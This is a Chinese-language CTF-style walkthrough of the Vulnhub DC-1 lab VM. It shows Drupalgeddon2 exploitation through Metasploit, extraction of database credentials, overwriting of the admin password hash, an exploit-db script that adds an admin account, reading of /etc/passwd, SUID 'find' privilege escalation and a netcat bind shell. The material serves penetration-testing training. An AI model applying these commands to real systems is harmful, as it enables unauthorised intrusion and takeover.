Vulnhub是一个提供了很多漏洞环境的靶场平台,其中的环境基本上都是做好的虚拟机镜像文件,需要使用VMware或者是VirtualBox运行。每个镜像会有破解的目标,大多是Boot2root,从启动虚拟机到获取操作系统的root权限和查看flag。
vulnhub官网:https://www.vulnhub.com
1、直接从官网下载做好的虚拟机镜像文件(我下载的Mirror版本的);
2、解压会得到一个.ova的文件,然后在VMware中打开即可;
攻击机kali:192.168.0.114
DC靶机:192.168.0.119
(我两者都是用的桥接模式,最好都再做一个快照吧,以防万一)
虚拟机打开如下所示:
1、使用nmap扫描扫描到192.168.0.119,开放了80端口
2、访问:http://192.168.0.119:80,页面如下所示,通过Wappalyzer或者网页底部的Drupal知道网站的CMS是Drupal。
3、查看网站的robots.txt协议,扫描目录都没有什么收获
1、使用msf查找一下Drupal的漏洞,然后一个一个尝试看是否可以利用。
2、最终使用第四个成功利用,即drupalgeddon2漏洞:exploit/unix/webapp/drupal_drupalgeddon2(CVE-2018-7600)
1、普通权限的shell
漏洞利用成功,也getshell了,可惜不是root权限,但是也找到了第一个flag
执行的命令如下:
shell
whoami
ls
cat flag1.txt
flag1中提示到:每一个好的CMS都需要一个配置文件,就如你一样。
Drupal的默认配置文件为:settings.php,查找一下settings.php文件所在的路径
find -name “settings.php”
cat /var/www/sites/default/settings.php
配置文件中得到flag2,翻译大致意思是:暴力破解不是唯一的方式,我们需要获取一个访问的权限,所以需要获得网站登录的用户名和密码。
还得到了数据库的账户名和密码:dbuser/R0ck3t
2、交互式的shell
既然得到了数据库账户名和密码,可以使用python反弹一个交互式的shell,然后利用账户名密码成功连接数据库
python -c 'import pty;pty.spawn("/bin/bash")'
mysql -u dbuser -p
输入密码:R0ck3t
show databases:查看数据库,查询到数据库名为drupaldb
查询数据库drupaldb中的表,其中有一个users表,账户名和密码应该就是其中。
select * from users:查看users表中数据,发现了账户名admin,但是密码是被加密了的
但是可以修改admin的密码或者新增加一个admin权限的用户
修改admin账户的密码
使用Drupal对数据库的加密方法,生成一个新的密码,然后使用此密码更新admin账户的密码
加密的脚本所在路径:/var/www/scripts/password-hash.sh
使用该脚本文件加密明文密码为:123456的密码,得到加密之后的密码
然后再在mysql的终端执行:
update drupaldb.users set pass="$S$DOpRSoJxu8FgKXsjxGpIF5F8LFF1It3ptthx4G60T1Etq9ZKiDDS" where name="admin"
成功将admin账户的密码修改为:123456
新增一个admin权限的账户
需要查看靶机的版本,然后再用对应的脚本去添加一个账户,靶机的版本为:7.24
cat includes/bootstrap.inc | grep VERSION #查看靶机版本
使用searchsploit命令搜索Drupal可以利用的脚本
添加一个账户:admin123/admin123
python2 /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.0.119 -u admin123 -p admin123
成功登录
登录之后点击Find content之后找到falg3
flag3的信息中提到了passwd和shadow,应该就是/etc/passwd和/etc/shadow这两个文件了,而find、perms、-exec应该是要提权才用到
/etc/passwd文件和/etc/shadow文件1、所有的用户的账号和密码都在这两个文件中
2、/etc/passwd保存着每个用户账号。该文件只有管理员可以修改,但是对于所有的用户都可读
3、/etc/shadow保存着密码等信息。该文件只有系统管理员能够修改和查看,其他用户不能查看、修改。
cat /etc/passwd查看文件,提示flag在/home/flag4里面
查看home/flag4/flag4.txt文件,得到flag4
flag的提示:您可以使用相同的方法在根目录中查找或访问标志吗?
即要用用相同的方法在root目录下找到最终flag。
最后的flag在root目录下,但是没有读写的权限,所以要用到提权了。
1、suid提权
suid提权参考文章:suid提权
查找具有root权限的其他命令,以下均可查询:
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb { }
执行:find / -perm -4000
ls -lh /usr/bin/find
发现find本身就是root权限
利用find来提权,成功得到flag
find ./ 111 -exec '/bin/sh' \;
2、利用netcat来提权
通过find执行的命令既然都是root权限,那也可以netcat来将它提为root权限,创建一个admin的文件,然后再利用find将netcat的权限提升为root权限
touch admin
find admin -exec whoami \;
find admin -exec netcat -lvp 7777 -e "/bin/sh" \;
成功得到flag!
1、msf的使用以及寻找可以利用的漏洞
2、网站的配置文件
3、mysql数据库的基本操作
4、Drupal的管理员密码忘记的解决办法
5、suid的提权
参考文章: